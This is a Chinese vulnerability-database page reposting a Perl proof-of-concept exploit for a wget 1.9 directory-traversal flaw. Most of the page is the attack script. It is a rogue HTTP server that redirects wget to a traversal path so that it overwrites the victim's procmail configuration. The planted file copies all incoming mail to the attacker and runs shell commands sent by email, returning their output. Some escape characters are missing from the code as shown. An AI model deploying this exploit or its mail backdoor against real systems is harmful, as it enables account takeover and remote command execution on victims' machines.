wget 1.9 – Directory Traversal-安全小百科

wget 1.9 – Directory Traversal

漏洞ID	1054815	漏洞类型
发布时间	2004-12-15	更新时间	2004-12-15
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	Multiple	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/689

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

#!/usr/bin/perl -W
# wgettrap.poc -- A POC for the wget(1) directory traversal vulnerability
#
# Copyright 2004 Jan Min???? (jjminar fastmail fm)
# License: Public Domain
#
# When wget connects to us, we send it a HTTP redirect constructed so that wget
# wget will connect the second time, it will be attempting to override
# ~/.procm4ilrc (well, provided that the user running wget has username 'jan'
# 8-)).

use POSIX qw(strftime);

# This is our scheme/host/port
$server = "http://localhost:31340";
# Use this + DNS poisoning with wget 1.9 & CVS
#$server = "http://..";

# Wanna know who got infected?
#$log = "/dev/pts/1";

# The filename we will try to overwrite on the target system
$filename = "/home/jan/.procm4ilrc%00This%20part%20will%20be%20ignored.";

############### Payload #########################################
$email = 'your@mailbox';
$password = 'Pmrpuf ner cevzvgvirf';
$payload = <<EOP;
:0c
| mail -s 'Wgettrap mail copy' $email
:0
* ^X-Wgettrap-Command: shell
* ^X-Wgettrap-Password: $password
| /bin/sh -c '/bin/sh | mail -s "Wgettrap shell output" $email'
EOP
chomp $payload;
############### Payload #########################################

# A simple directory traversal, for greater effect
$trick = "/.." . "%2f.." x 40;

open LOG, ">$log" if $log;

while(<STDIN>){
        print LOG $_ if $log;
        if (/Q$trick$filenameE/) {
        #if (/%2f/) {
                # We see the filename, so this is the second time
                # they're here.  Time to feed the sploit.
                $second++;
        } elsif (/^Range: bytes=(33)-/) {
                # Appending goes like this:
                # (1) Tell'em what you're gonna tell'em
                # (2) Then tell'em just a half
                # (3) Close it
                # (4) Wait
                # (5) They're comin' back, with wget -c
                # (6) Tell'em the sploit
                # (7) Close again
                # (8) Wtf? They're comin' back with wget -c again
                # (9) Tell'em the rest...
                # (10) ... enjoying the backdoor at the same time
                print LOG "File if $1 bytes longn" if $log;
        } elsif (/^r?$/) {
                # The HTTP headers are over.  Let's do it!
                $date = strftime ("%a, %e %b %Y %H:%M:%S %z", localtime);
                if (!$second) {
                        # Print the payload
                        print <<EOT;
HTTP/1.1 301 Moved Permanentlyr
Date: $dater
Server: wgettrap 1.1r
Accept-Ranges: bytesr
Location: $server$trick$filenamer
Content-Length: 43r
Connection: closer
Content-Type: text/htmlr
r
<html><head><title></title></head></html>r
EOT
                } else {
                        # Print the redirection
                        print <<EOT;
HTTP/1.1 200 OKr
Date: $dater
Server: wgettrap 1.1r
Accept-Ranges: bytesr
Content-Length: 25r
Connection: closer
Content-Type: text/plainr
r
$payload
EOT
                }
                exit 0;
        }
}

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